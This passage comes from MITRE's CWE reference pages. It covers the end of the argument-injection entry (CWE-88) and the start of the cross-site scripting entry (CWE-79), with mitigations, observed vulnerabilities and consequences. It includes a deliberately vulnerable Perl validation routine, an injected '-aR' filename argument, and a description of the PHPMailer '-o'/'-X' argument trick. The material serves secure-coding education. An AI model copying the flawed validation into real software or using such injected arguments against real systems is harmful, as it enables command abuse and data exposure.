Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.

Effectiveness: High

Phase: Architecture and Design

Strategy: Input Validation

Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 137 Data Neutralization Issues
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

PHP (Often Prevalent)

+ Demonstrative Examples

Example 1

Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.

(bad code)
Example Language: Perl 
my $arg = GetArgument("filename");
do_listing($arg);

sub do_listing {
my($fname) = @_;
if (! validate_name($fname)) {
print "Error: name is not well-formed!\n";
return;
}
# build command
my $cmd = "/bin/ls -l $fname";
system($cmd);
}

sub validate_name {
my($name) = @_;
if ($name =~ /^[\w\-]+$/) {
return(1);
}
else {
return(0);
}
}

However, validate_name() allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories.

There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions.

Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option.

Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as:

(good code)
Example Language: Perl 
if ($name =~ /^\w[\w\-]+$/) ...

Example 2

CVE-2016-10033 / [REF-1249] provides a useful real-world example of this weakness within PHPMailer.

The program calls PHP's mail() function to compose and send mail. The fifth argument to mail() is a set of parameters. The program intends to provide a "-fSENDER" parameter, where SENDER is expected to be a well-formed email address. The program has already validated the e-mail address before invoking mail(), but there is a lot of flexibility in what constitutes a well-formed email address, including whitespace. With some additional allowed characters to perform some escaping, the adversary can specify an additional "-o" argument (listing an output file) and a "-X" argument (giving a program to execute). Additional details for this kind of exploit are in [REF-1250].


+ Observed Examples
Reference Description
Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash (CWE-88), potentially allowing for code execution.
Canonical Example - "-froot" argument is passed on to another program, where the "-f" causes execution as user "root"
Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands.
Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed.
Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands.
Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL.
Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs.
Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file.
SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option.
Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter.
Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.
Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.
Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.
Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability."
Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.
Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
Argument injection allows execution of arbitrary commands by injecting a "-exec" option, which is executed by the command.
Argument injection in mail-processing function allows writing unxpected files and executing programs using tecnically-valid email addresses that insert "-o" and "-X" switches.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 741 CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 744 CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 810 OWASP Top Ten 2010 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 875 CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 878 CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 929 OWASP Top Ten 2013 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1027 OWASP Top Ten 2017 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1165 SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1409 Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Argument Injection or Modification
CERT C Secure Coding ENV03-C Sanitize the environment when invoking external programs
CERT C Secure Coding ENV33-C Imprecise Do not call system()
CERT C Secure Coding STR02-C Sanitize data passed to complex subsystems
WASC 30 Mail Command Injection
+ References
[REF-859] Steven Christey. "Argument injection issues". <https://seclists.org/bugtraq/2007/Feb/234ed>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "The Argument Array", Page 567. 1st Edition. Addison Wesley. 2006.
[REF-1030] Eldar Marcussen. "Security issues with using PHP's escapeshellarg". 2013-11-13. <https://baesystemsai.blogspot.com/2013/11/security-issues-with-using-phps.html>.
[REF-1249] Dawid Golunski. "PHPMailer < 5.2.18 Remote Code Execution [CVE-2016-10033]". 2016-12-25. <https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html>.
[REF-1250] Dawid Golunski. "Pwning PHP mail() function For Fun And RCE". 2017-05-03. <https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2021-05-28 Anonymous External Contributor
Identified inappropriate demonstrative example, suggested new observed example, applicable language.
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24 CWE Content Team MITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-07-27 CWE Content Team MITRE
updated Other_Notes, Relationship_Notes
2009-10-29 CWE Content Team MITRE
updated Observed_Examples
2010-02-16 CWE Content Team MITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated Observed_Examples, Relationships
2010-09-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2019-09-19 CWE Content Team MITRE
updated Description, Name, References, Relationships
2019-09-23 CWE Content Team MITRE
updated Description, Name, Observed_Examples, Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2023-01-31 CWE Content Team MITRE
updated Description, Potential_Mitigations
2023-04-27 CWE Content Team MITRE
updated Description, Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content Team MITRE
updated Observed_Examples
+ Previous Entry Names
Change Date Previous Entry Name
2019-09-19 Argument Injection or Modification
2019-09-23 Improper Delimitation of Arguments in a Command ('Argument Injection')

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
+ Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

  1. Untrusted data enters a web application, typically from a web request.
  2. The web application dynamically generates a web page that contains this untrusted data.
  3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
  4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
  5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
  6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

  • Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
  • Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
  • Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

+ Alternate Terms
XSS:
A common abbreviation for Cross-Site Scripting.
HTML Injection:
Used as a synonym of stored (Type 2) XSS.
CSS:
In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness: Limited

Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Relationships
